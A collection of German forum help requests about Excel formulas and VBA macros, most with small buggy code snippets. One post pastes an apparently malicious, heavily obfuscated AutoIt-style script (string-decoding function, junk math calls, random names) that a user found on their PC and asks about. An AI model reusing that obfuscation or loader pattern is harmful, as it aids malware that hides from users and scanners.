Hallo ich würde gern die befehle in VBA umwandeln weiß aber nicht wie.

=SVERWEIS(D3;Tabelle1!A1:G399;2;FALSCH)

=SVERWEIS(D3;Tabelle1!A1:G399;3;FALSCH)

=SVERWEIS(D3;Tabelle1!A1:G399;4;FALSCH)

=SVERWEIS(D3;Tabelle1!A1:G399;5;FALSCH)

=SVERWEIS(D3;Tabelle1!A1:G399;6;FALSCH)

=SVERWEIS(D3;Tabelle1!A1:G399;7;FALSCH)

Hii,

ich möchte mithilfe eines VBA Codes eine Formel in eine Zelle schreiben, bekomme aber mal den Fehler: erwartet Anweisungsende und mal einen Syntaxfehler.

 ActiveCell.Formula2R1C1 = _

  "=IF"(Iferror(if(search(""Jermann"",xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,2,1)*Iferror(if(search(""RISTAG""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,3,1)*Iferror(if(search(""OSTAG Ing.""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,4,1)=2,""Jermann"",IF"(Iferror(if(search(""Jermann"",xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,2,1)*Iferror(if(search(""RISTAG""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,3,1)*Iferror(if(search(""OSTAG Ing.""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,4,1)=3,""RISTAG"",IF"(Iferror(if(search(""Jermann"",xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,2,1)*Iferror(if(search(""RISTAG""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,3,1)*Iferror(if(search(""OSTAG Ing.""xlookup(RC[-3],R2C3:R[-3]C[-2],R2C20:R[-3]C[15],"" ""))>0.2,4,1)=4,""OSTAG Ing."",0)0)0)0))

Ich weiss das es viel ist, aber ihr würdet mir eine grosse Hilfe sein, wenn ihr den fehler findet.

Hallo Zusammen

Ich steh wieder mal an mit VBA.

Also: Ich habe eine Tabelle mit Kundendaten. Wenn ich die Kundennummer anklicke, soll er mir das verlinkte Dokument drucken, bis er keine Kundennummer mehr findet. Also die Tabelle "Kundendaten" sieht z.B. so aus:

Jetzt will ich, dass er die Kundennummern 15-20 druckt und dann aufhört. Dann, wenn ich die Zelle mit "26" anklicke, soll er die Nummern 26-39 drucken. Den Code fürs drucken habe ich geschrieben. Jedoch brauche ich noch etwas, dass er "bis zur nächsten leeren Zelle" alles druckt und dann aufhört. Sozusagen: Wenn der Code eine leere Zelle erreicht, wird der VBA Code unterbrochen. Der Code zum Drucken sieht (vereinfacht) so aus:

ActiveCell.Copy

Workbooks.Open "D:\WKS\2_Aktuelles Jahr\Rapporte\5_Rapport SG, ZH, AI.xlsx"

Range("BQ11:BW11").PasteSpecial

ActiveWindow.SelectedSheets.PrintOut From:=1, To:=2, Copies:=1

ActiveWorkbook.Close savechanges:=False

ActiveCell.Offset(1, 0).Select

End Sub

Weisst jemand, wie ich das Programmieren kann, dass "eine Leere Zelle" den Code beendet/er nicht unendlich druckt?

Danke im Voraus für eure Antworten!

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Keine Ahnung ich bitte um Hilfe

Hallo, ich hätte mal eine Frage zu Excel. Ich greife mit einem weiteren Programm auf eine Excel-Tabelle zu und ziehe mir aus der Tabelle Daten. Zum Beispiel werden Bilder eingepflegt dessen Speicherort als Link in Excel hinterlegt ist. Jetzt das Problem, wenn ich diesen Ordner verschiebe, dann ändert sich ja auch der Link und funktioniert nicht mehr. Kann ich den Link relativ angeben? Als Beispiel: auf Festplatte c: liegt der Ordner "Karten". In diesem befindet sich die Excel-Datei und ein Ordner Namens "Bilder". In diesem Ordner befinden sich die Bilder auf die Excel verlinkt. Also Quasi so c:/Karten/Bilder/Bild_1 oder so ähnlich. Wenn ich jetzt aber den ganzen Ordner "Karten" auf die Platte d: packe, dann funktionieren die Links ja nicht. Kann ich den Pfad nicht irgendwie so angeben dass der Bezug der Bilder relativ zum Speicherort der Excel-Datei definiert wird. Also Beispielsweise so, dass ich sage "die Bilder liegen immer im Unterordner des Ordners in dem sich die Excel-Datei befindet". Keine Ahnung wie ich es Euch anders erklären soll.

Vielen Dank schon einmal im voraus für Eure Mühe.

Hallo,

zum 1. Thema. Ich mache eine Excel mit Makros für meine Firma und in meiner Datei kann ich alle Makros ohne Probleme abspielen. Wenn ich die Tabelle aber nur in ein anderes Programm z.B OneNote kopiere, kann ich die Makros nicht mehr aktivieren. 

Es kommt dann "Das Makro ... kann nicht ausgeführt werden . Das Mako ist möglicherweise in dieser Arbeitsmappe nicht verfügbar, oder alle Makros sind deaktiviert.

=> ich habe bei dem Trust Center die Makros aktiviert

Wenn ich dann in der Mappe bei einem Objekt ein Makros zuweisen will, kommt diese Tabelle wo alle meine Makros da sind aber wenn ich dann zuweisen will kommt "Aufgrund von Sicherheitseinstellungen wurden Makros deaktiviert. Zum Ausführen von Makros müssen Sie diese Arbeitsmappe erneut öffnen und dann Makros aktivieren. ...

Wisst ihr wie man das beheben kann um das auch für mehrere Personen verfügbar zu machen?  

Zum zweiten Thema konnte ich nicht das finden was ich brauchte. Ich z.B zwei Tabellenblätter (A und B). A stellt die Startseite dar und B ist unten in der Liste/Leiste ausgeblendet. Klicke ich auf ein Makro auf A soll das Blatt B eingeblendet werden und A in der Leiste ausgeblendet werden. Widerum soll es dann möglich sein durch ein Makro von B auf A zu gelangen und dass sich B wieder in der Leiste ausblendet?

Ich hoffe das ist nicht zu wirr geschrieben und bitte habt erbarmen mit mir, ich mache das hier zum ersten Mal.

Viele Grüße und danke im Voraus

Jamie

Hallo an alle Excel-Profis,

Die Namen in der Tabelle sind in einzelne Zellen aufgeteilt. Nun sollen die Buchstaben us den Reihen 1,2 und 3 (leere Zellen ausgeschlossen) der Reihe nach in Zeile 4 geschrieben werden. Wäre dankbar für eine Formel dafür.

Hallo Community!

Ich habe mir im Excel ein kleines Makro erstellt, das dazu führt wenn ich die Plus-Taste auf meinem Nummernblock betätige, der Wert in der aktuellen Zeile verschoben wird.

Allerding funktioniert das ganze nicht, wenn ich in einer Zelle aktiv etwas schreibe. Wenn ich dann die Plus-Taste betätige, wird das Pluszeichen geschrieben und das Makro wird nicht ausgeführt.

Gibt es dort eine Möglichkeit um diese Aufgabe zu bewältigen?

Hallo, kann mna in excel neben eine Zeile wie einen Button platzieren, der wenn man ihn anklickt diese Zeile ausblendet, und den eingegebenen Wert Ausblendet bzw nicht zur Summenformel zählt ?

Die Aufgabe ist: programmieren in VBA ein Programm was den Benutzer nach seinen Namen fragen soll und ihn dann begrüßt mit seinem Namen.

das hätte ich schon aber es kommt eine Fehlermeldung

Hallo,
Ich möchte anhand einer Exceltabelle einen Dienstplan erstellen, welcher sich automatisch kreiert:

18 Mitarbeiter welche ca 14 Schichten pro Monat arbeiten
Jeder Mitarbeiter soll hierbei im Rythmus 6/3/6/9 arbeiten, sprich 6 aufeinanderfolgende Tage arbeiten, 3 Tage frei, 6 Tage arbeiten, 9 oder 12 frei und wieder von vorne.

Könnte mir das jemand mit VBA lösen und danach auf einem Excel Kalender darstellen?

Hallo liebe VBA-Experten,

folgende Aufgabenstellung habe ich erhalten leider kommt immer eine Fehlermeldung s.h. Anlage.

bitte um Hilfe 🙏

Hallo zusammen,

ich stehe vor einem Problem, woran ich schon seit Tagen arbeite und keine Lösung finde.

Meine Split-Funktion klappt soweit, die Daten werden eingefügt. Allerdings in der ersten der ersten Zeile von (D). Ich benötige die Daten aber ab Zeile (D20) und das bekomme ich nicht hin.

Hat bitte jemand einen Lösungsvorschlag, da ich nicht so fit mit VBA bin?

Dim MeinArray() As String
Dim MeineZeichenkette As String
Dim I As Variant
Dim N As Integer
Dim WB As Worksheet
Set WB = ThisWorkbook.Sheets("Abrechnung")

Dim WBlerf As Worksheet
Set WBlerf = ThisWorkbook.Sheets("Tabelle1")
Ziel = WBlerf.Range("D20")

'Beispielzeichenkette mit Semikolon als Trennzeichen
MeineZeichenkette = WB.Range("Aufmaß_srvpos")

'Die Funktion Split verwenden, um die Bestandteile der Zeichenkette aufzuteilen
MeinArray = Split(MeineZeichenkette, ";")

'Das Arbeitsblatt leeren
'ActiveSheet.UsedRange.Clear

'Durch das Array iterieren
For N = LBound(MeinArray) + 0 To UBound(MeinArray)
  'Jede E-Mail-Adresse in die erste Spalte des Arbeitsblatts einfügen
  WBlerf.Range("D" & N + 1).Value = MeinArray(N)
Next N

Lieben Dank und VG

Stefan

Hallo Zusammen

Zurzeit erstelle ich eine VBA-Basierte Excel Datei, welche eine Liste erstellt mit Positionen tabelliert. Zu jeder Position ist eine PDF-Datei zugehörig. Diese ist in einer Spalte als Hyperlink zugefügt, so dass beim Klicken sich eine PDF-Datei öffnet.

Nun möchte ich mehrere solche Positionen die jeweilige PDF-Datei (unterschiedliche Seitenanzahl) in einer PDF-Datei zusammenfügen und als eine PDF-Datei ausgeben.

• Ist sowas VBA-Basiert möglich, ich verwende den PDF24 als Creator.
• Oder ist dies mithilfe einem Python Code möglich?

(Die Lösung mit Python ist nur eine Notfalllösung, da diese Excel-Datei auf diversen Computer laufen muss und somit die Schnittstelle zwischen Python und Excel erstellen muss)

Besten Dank für eure Inputs und Hilfe.

Hallo Zusammen

Ich bin ganz neu im VBA und bin etwas am Herumprobieren. Einen Teil habe ich geschafft, aber an einem Punkt hänge ich.

Ich will, dass ein Makro läuft, welches die Datei automatisch unter dem Namen "Kundennummer_Servicedatum" abspeichert. Die Kundennummer und das Servicedatum sind beide im Dokument unter separaten Zellen hinterlegt, die Formel sieht jetzt so aus:

Sub Speichern_unter()

Dim SaveName As String

Dim Datum As Date

SaveName = ActiveSheet.Range("BQ11").Text

Datum = ActiveSheet.Range("BM17")

ActiveWorkbook.SaveAs Filename:="D:\ABC\Service\" & SaveName & "_" & Datum & ".xls"

End Sub

Soweit funktioniert alles, das Dokument heisst z.b. "149_31.10.23"

Das Datum ist als dd.mm.yy in der Zelle, zum Abspeichern brauche ich aber folgendes Format: yymmdd. Ziel ist also der Name "149_231031"

Kann mit jemand helfen, wie ich das Datum umgedreht bekomme? Danke im Voraus :)

Ich habe eine Tabelle mit folgendem Aufbau (die Anzahl der Namen variiert):

Zielbild ist folgendes:

Es sollen in Spalte C die Duplikate entfernt werden, wenn es sich hierbei um ein Duplikat für die Person in Spalte A handelt.

Meine Frage ist, wie ich das Löschen per VBA abbilden kann. Leider sind meine Kenntnisse eingeschränkt (einfache Makros kann ich zwar schreiben, aber das übersteigt meine Kenntnisse). Da die Namen variabel sind, wäre es gut, wenn die Prüfung bis zur letzten Zeile durchgeführt wird.

Danke vorab für eure Hilfe!!

Hallo Community,

ich habe ein kleines VBA-Problem in Excel.

Zur Situation: Ich habe eine Mappe mit mehreren Tabellenblättern. Diese Blätter werden mir in einem Dropdownmenü angezeigt. Mithilfe eines Commandbutton springe ich dann auf das zuvor im Dropdown gewählte Tabellenblatt:

Hier der Code vom Commandbutton:

Private Sub CommandButton1_Click()

    ThisWorkbook.Sheets(Range("D7").Value).Select

End Sub

Dieses Code funktioniert allerdings nur, solange ich die Blätter auch unten in der Mappe anzeige.

Nun zu meiner Frage: Wie müsste der Code aussehen, wenn ich die Tabellenblätter ausblende?

Die Formel die Kopiert werden soll ist:
=SVERWEIS(B3;Data!A1:C26;2;FALSCH)*F3

Die Kopierte Formel erscheint so:
=@SVERWEIS($B4; Data!$A$1:$C$26; 2; FALSCH)*F4

Mein VBA Makro ist :

Sub HinzufuegenUndKopieren()

  Dim WertAusSpalte2 As Variant

  WertAusSpalte2 = Cells(3, 2).Value

  Rows(4).Insert Shift:=xlDown, CopyOrigin:=xlFormatFromLeftOrAbove

  Cells(4, 2).Value = WertAusSpalte2

  Cells(4, 5).Formula = "=$B$4"

  Cells(4, 6).Value = Cells(3, 6).Value

  Cells(4, 7).Formula = "=SVERWEIS($B4, Data!$A$1:$C$26, 2, FALSE)*F4"

End Sub

Wie bekomme ich es hin, dass die Zeile ohne @ Kopiert wird ?.

Ich bekomme regelmäßig Nutzerlisten, die eine unterschiedliche Anzahl an Nutzern umfasst. Diese Nutzerliste muss ich in ein bestimmtes Format überführen.

Ausgangsdatei:

Zielbild: In einem neuen Tab.

Gerne würde ich das per VBA automatisieren. Kann mir hier bitte jemand weiterhelfen?

Hello World an alle Programmierer da draußen. Ich muss das ggT zweier Zahlen in Excel berechnen. Ich bekomme es einfach nicht gebacken, den Code in Makro zu schreiben. Das ist Hausübung, keiner von uns kriegt das hin. Unser Lehrer will auch noch ein Flussdiagramm (???) und einen Programmablaufplan. Send help!

Guten Tag zusammen,

Undzwar geht es darum das ich ein Makro erstellt habe der sieht so aus :

Sub Makro1()

' Makro1 Makro

'

  Range("D3").Select

  Application.CutCopyMode = False

  Selection.Copy

  Sheets("1M").Select

  Range("C6").Select

  ActiveSheet.Paste

  Sheets("Tabelle1").Select

  Range("J3").Select

  Application.CutCopyMode = False

  Selection.Copy

  Sheets("1M").Select

  Range("C7").Select

  Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _

    :=False, Transpose:=False

  Sheets("Tabelle1").Select

  Range("R3").Select

  Application.CutCopyMode = False

  Selection.Copy

  Sheets("1M").Select

  Range("C13").Select

  Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _

    :=False, Transpose:=False

  Range("D26").Select

  Application.CutCopyMode = False

  Selection.Copy

  Sheets("Tabelle1").Select

  Range("H3").Select

  Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _

    :=False, Transpose:=False

End Sub

Das Problem ist jetzt das ich möchte das er in der Excel Tabelle jede Zeile mit diesem Makro ausfüllt sprich er soll bei Zeile 3 anfangen und bis 322 weiterführen ich habe 2 Mappen 1. "Tabelle1" und "1M"

Tabelle1 hatt die 322 Zeilen aber er springt nicht zur jeder Zeile und die Zelle "D3" , "J3", "R3", "H3" sollten dann auf die nächste Zeile Springen Sprich "D4", "J4" , "R3" , "H4" wenn er auch in der 4 Zeile ist

die restlichen Zellen sollen festbleiben zugehörig zu Mappe "1M"

ich hoffe es ist verständlich was ich meinte :'D

Hallo zusammen

Ich suche nach einer schnelleren Formellösung, welche alle Zeilen ausblendet, wenn in Spalte A der jeweiligen Zeile das Formelergebnis 0 steht und wieder einblendet, wenn das Ergebnis 1 ist. Die Rechnung passiert dabei auf einer anderen Tabelle; in der Tabelle mit dem Makro steht dann lediglich: ='Tabelle2'!A11 (Dieser Wert wird somit übertragen und ändert sich demzufolge)

Makro:

Private Sub Worksheet_Change(ByVal Target As Excel.Range)

If Range("A11") = 0 Then

Rows("11:12").EntireRow.Hidden = True

End If

If Range("A11") <> 0 Then

Rows("11:12").EntireRow.Hidden = False

End If

If Range("A13") = 0 Then

Rows("13:14").EntireRow.Hidden = True

End If

If Range("A13") <> 0 Then

Rows("13:14").EntireRow.Hidden = False

End If

If Range("A15") = 0 Then

Rows("15:16").EntireRow.Hidden = True

End If

If Range("A15") <> 0 Then

Rows("15:16").EntireRow.Hidden = False

End If

...

(UNTERBRUCH) ...........das geht weiter bis "A360"

...

End Sub

Dieser Ablauf dauert jedoch eine gefühlte Ewigkeit; geht das schneller?

Danke euch.

Gruss Swen

Mir werden folgende Daten angeliefert (mit etwa 200 Anwender, die 2 bis 8 Rollen haben). Ich muss für jeden aktiven (Spalte B = Y) Anwender (Spalte A) die Rollen in separate Zeilen umwandeln, um die Daten weiterverarbeiten zu können.

Ausgangslage:

Zielbild:

Für Anwender A habe ich schon passende Formeln gefunden, wie ich die Daten aus Spalte C einzelne auslesen kann:

=LINKS(A2; FINDEN(ZEICHEN(10);A2)-1)

=TEIL($A2;FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";1))+1;FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";2))-FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";1))-1)

=TEIL($A2;FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";2))+1;FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";3))-FINDEN("#";WECHSELN($A2;ZEICHEN(10);"#";2))-1)

=RECHTS(A2;LÄNGE(A2)-FINDEN("#";WECHSELN(A2;ZEICHEN(10);"#";LÄNGE(A2)-LÄNGE(WECHSELN(A2;ZEICHEN(10);"")))))

Ich würde das gerne automatisieren und könnte mir vorstellen, dass dies mit VBA machbar ist. Leider kenn ich mich damit nur sehr begrenzt aus. Kann mir jemand bitte weiterhelfen?

Hallo,

Meine eigentliche Frage ist folgende:

Wie lese ich aus einer Textzeile die Daten aus und speichere sie in einer anderen Arbeitsmappe mittels vba?

ich kenne mich nicht mit excel vba aus

möchte dennoch ein Regal Programm erstellen. Wie in beiden Bildern mit gelb markiert ist lese ich den Inhalt der Textzeile aus und gebe ihn in der Arbeitsmappe bei a1 aus. Jedoch bekomme ich es nicht hin es in die 2. arbeitsmappe (blau markiert) auszugeben und nicht in die aktuelle. Geht das?

Ergänzung: falls sich noch jemand damit auskennt wie man das in der zweiten speichert und Dan tabellarisch immer einen darunter speichert und das andere nicht überschreibt kann das am Ende auch noch anmerken. Danke im Voraus schonmal.

Hallo zusammen,

vorab schonmal, nein ich habe hier absolut 0% Ahnung hiervon und brauche dringend Hilfe!

Ich habe auf der Arbeit bei einer wichtigen Excel Datei eine neue Spalte eingefügt, was dafür gesorgt hat, dass eine wichtige Spalte rechts davon weiter nach rechts verschoben wurde um eine Zelle.

In dieser Spalte wurden Enddatum eingetragen und diese wurden mit einem Makro über VBA Absteigend von jüngerem Datum oben, nach späteren Datum nach unten hin sortiert.

Nachdem ich die neue Spalte zugefügt habe, funktionierte eins nach dem anderen nicht mehr richtig und ich war so dumm zu versuchen das Makro minimal anzugleichen, sodass es funktioniert und habe es dann getestet.

Dadurch habe ich es nur schlimmer gemacht...

Zudem kann ich jetzt nicht mal mehr in der Tabelle scrollen, zumindest in diesem Reiter, in einem anderen Reiter unten, kann ich scrollen in der Datei.

Der Text in VBA Stand jetzt:

Sub Sortieren()

'

' Sortieren Makro

'

'

  Rows("3:500").Select

  Range("B3").Activate

  ActiveWorkbook.Worksheets("Übersicht").Sort.SortFields.Clear

  ActiveWorkbook.Worksheets("Übersicht").Sort.SortFields.Add Key:=Range( _

    "H4:Hl34"), SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:= _

    xlSortNormal

  With ActiveWorkbook.Worksheets("Übersicht").Sort

    .SetRange Range("A3:L500")

    .Header = xlYes

    .MatchCase = False

    .Orientation = xlTopToBottom

    .SortMethod = xlPinYin

    .Apply

  End With

  ActiveWindow.SmallScroll Down:=3

  ActiveSheet.Range("$A$3:$L$97").AutoFilter Field:=12, Criteria1:="="

  ActiveWindow.SmallScroll Down:=-12

End Sub

Hey, im Bild ist der ausgeschnittene Code. Rot unterstrichen ist die Zeile die Probleme macht. Der Code sollte von dem Sheet "hidden" die Range F5:F&lastRow haben. Beim ausführen ignoriert er aber das "hidden" und nimmt stattdessen das Sheet "dashboard".

Ablauf des Codes:

Letzte Reihe im sheet hidden herausfinden

dropdownRange definieren (Von wo welche Daten?)

dropdownCell definieren (Wo soll dropdown Menü aufrufbar sein?)

Löschen von Dateneinschränkung in dropdowncell

Dateineinschränkung einfügen (Einschränkung nur Inhalte der dropdownRange von Spalte hidden)

Das Programm arbeitet wie gesagt als wäre statt dem rot markierten dieser Code:

Set dropdownRange = dashboard.Range("F5:F" & lastRow)

Hi Leute,

ich hab mit Programmierung allgemein und auch mit Excel VBA relativ wenig am Hut. Besser gesagt nichts!
Allerdings sollte ich nun für meine Arbeit ein kleines Tool basteln, welches aus einer Vielzahl von vorhandenen Tabellen, nur die benötigten anzeigt. Das alles habe ich auch hinbekommen, allerdings fehlt mir nun ein Button, welcher bei drücken nur die ausgewählten (Rest ist ausgeblendet) Tabellenblätter als eine zusammenhängende pdf speichert. Ist das möglich und wenn ja, hättet ihr da einen kleinen Code für mich?

vielen Dank für jede Hilfe welche mich aus der Verzweiflung holt ! 😅

Hallo again,

meine Excel hat 10’000 Seiten Text in einem Arbeitsblatt. Dadurch wird sie sehr langsam. Kann man das umgehen?

Habe schon über eine Verknüpfung mit Access nachgedacht, aber keine Ahnung, ob ich das machen sollte, falls ja - wie, oder ob es was bringt....

Hat jemand eine Idee, wie man das lösen kann?

Vielen Dank.

Ich habe 53 tabellen diese soll jeder sehen können bearbeiten allerdings erst nach Passwort Eingabe

wie kriege ich das hin das ich alle Tabellen per Button freischalten kann und alle per Button schützen kann nochbesser wäre das alle automatisch geschützt werden wenn ich excel schließe

wichtig ist das ich da dann nicht für alle Tabellen das Passwort eingeben muss sondern nur einmal sprich da müsste irgendwo eine if Anfrage rein wenn ich es richtig erkenne

hoffe auf viele Vorschläge :)

Hallo,

ich habe eine Arbeitsmappe, welche einen Kalender und darunter 3 Zeilen mit jeweiligen Fahrzeugen beinhaltet. Für diese müssen wir täglich einen Km-Stand eintragen.

In diese Mappe möchte ich gerne Daten aus einer anderen Mappe übertragen.

Die Aufgabe an der ganzen Sache ist, dass das Datum abgeglichen wird und das Fahrzeug (auf dem Screenshot ist nur eins zusehen welches aber gewechselt werden kann (Dropdown-Liste)). Der Kilometerstand soll dann in die Mappe zu dem entsprechendem Datum und Fahrzeug zugewiesen werden. Ich hätte schon an eine if-Anfrage gedacht, aber so wirklich finde ich keinen Weg. meine Excelkenntnisse sind nicht so Fortschrittlich.

PS: Freund Google habe ich auch schon durchsucht, bin aber auf keine guten Ergebnisse gekommen.

Mappe 1

Mappe 2

.Formula = "=VLOOKUP(A5,EKPO.Cells(A1),C1000,2,FALSCH)"

Kann mir jemand hier helfen?

Hallo, wie kann ich folgenden XLookup als Makro schreiben

=VLOOKUP(A4;EKPO!$A$1:$C$1000;2;FALSE)

A5 soll dabei eine ortlaufende Nummer sein (dafür habe ich bereits eine Variable Zaehler)

Das Ergebnis des Sverweis soll dann hierrein  

Ansicht.Cells(Zeilenindex, 3)

ich bekomme immer wieder verschiedenst Fehlermeldungen

Mein Code:

Ansicht.Cells(Zeilenindex, 3) = WorksheetFunction.VLookup(test, Worksheets("EKPO").Range("A:B"), 2, False)
  

Hallo, ChatGPT hilft mir grade mit den Makros, da ich mich aber nicht so gut mit Makros auskenne möchte ich alles verstehen. Einfache Sachen konnte ich bereits verstehen nun ist aber ein etwas längere und schwerere Code Stück ausgespuckt worden:

wb2.Sheets(1).Rows(i).Copy
ws.Cells(ws.Rows.Count, 1).End(xlUp).Offset(1).PasteSpecial xlPasteValues

Die Funktion des Programms ist leider sehr kompliziert. Dieser Schnipsel sollte aber für das kopieren und einfügen zuständig sein. Wie kann ich beim "Paste" etwas hinzufügen das beim "Copy" oben noch nicht da war?

Hallo,

Mein Problem. Ich soll ein Makro erstellen. Das Makro soll eine neue Excel Datei erstellen. Diese Datei soll nun mit Informationen aus 50 (Im Normalfall +150) Excel Dateien herausnehmen. Die 50 Excel Dateien haben alle den selben Format. D.H in Zelle A2 steht immer der Vor Name. In Zelle A3 der Nachname. In Zelle B4 immer derselbe.... und so weiter.

diese Informationen müsste ich nun auf EINE Excel Dokument/Tabelle packen sodass alle Informationen in einer Reihe / Row sind.

Das wäre Problem 1

_____________

Problem 2

In den selben 50 Dokumenten gibt es eine Liste mit Gegenständen. In Spalte 1 ist immer der Gegenstandname und und Spalte 2 ist ...

Diese Gegenstände also die Länge der Reihen nach unten Unterscheidet sich aber von Tabelle zu Tabelle (Ist also nicht fest)

Diese müssten auch in DIESELBE Tabelle wie oben hineingehen, sodass es ungefähr so aussieht:

Hallo zusammen,

ich benötige Eure Unterstützung, ich komme nämlich nicht weiter.

Wenn in der Zelle C10 z. B. Erstes-Interview steht, dann sollen, nachdem auf eine Schaltfläche geklickt wird, entsprechende Bereiche/Zellen als E-Mail versendet werden. Leider kann ich aber nicht mehrere Bereiche (die von einander getrennt sind, als eine E-Mail versenden.

Was mach ich falsch?

Vielen Dank vorab.

Mein Code:

Sub Mail_Versand()

Sheets("Template").Select

   If Range("C10").Value = "Kaffee-Date" Then

    ActiveSheet.Range("B12:D21").Select

